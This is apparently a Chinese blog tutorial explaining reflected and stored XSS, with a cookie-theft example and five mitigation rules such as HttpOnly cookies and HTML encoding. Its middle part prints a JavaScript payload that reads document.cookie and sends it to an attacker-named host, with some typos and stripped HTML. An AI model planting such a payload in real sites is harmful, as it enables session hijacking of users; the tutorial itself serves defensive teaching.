XSS跨站漏洞类型:存储型XSS、反射型XSS、DOM型XSS。
本次主要讲前两种。
反射型XSS攻击:又称为非持久型跨站脚本攻击
反射型XSS是一次性的,仅对当次的页面访问产生影响。
一个典型的反射型XSS包含一个带XSS攻击向量的链接被写入URL,并通过邮件论坛等各种方式将URL推广给用户。当用户点击该URL是,带有的XSS代码被HTML解析执行,造成XSS攻击目的。
存储型XSS攻击:又称为持久型跨站脚本攻击
危害:存储型XSS把攻击数据存进数据库,攻击行为将伴随着攻击数据一直存在。
XSS攻击向量(一般指XSS攻击代码)被服务器端接收并存储,每当用户访问该页面时,恶意代码响应给浏览器被执行,持久型XSS相比非持久型XSS攻击危害性更大。
访问网页时恶意脚本自动触发,无需用户手动点击。
XSS攻击实例分析:盗取Cookie
攻击过程:网站所在域名为:WWW.TEST888.COM
攻击者接收Cookie的地址为:WWW.LINUXTEST.COM
攻击者在TEST88.COM留言板功能中插入恶意代码(该代码可以把受到攻击的用户Cookie发送到指定主机),网站对该代码不经过滤,直接存储在数据库中。当用户在客户端访问TEST88.COM留言板功能时,不小心点击到带攻击的链的图片,就会导致SessionId被盗取。
留言:
留言记录:
varStr=document.cookie;//获取cookie
vara =docunment.createElement('a');//获取a标签
a.href='http://www.linuxtest.com/test2.php?'+Str;//攻击者主机
a.innerHTML=';//掩护图片
document.body.appendChild(a);//将标签添加到页面中
解决思路:
要保证”输入内容“被真正的当做数据来解释,而不要被解释成可执行脚本或html元素。
修复漏洞的五大方针
1.请务必将重要的cookie标记为http only,这样一来Javascript中的document.cookie语句就不能获取到cookie了。
2.表单数据规定值的类型,例如:年龄只能为int,姓名只能为中文字母数字组合。
3.对数据进行Html Encode处理。
4.过滤或移除特殊的Html标签,例如:,
5.过滤JavaScript事件的标签,例如","onfocus" 等等。
备注:不用相信用户提交的数据,过滤过滤再过滤!
领导说了
您点一个
小编的工资就涨五毛!
分享IT技术、汇集最新资讯
领取专属 10元无门槛券
私享最新 技术干货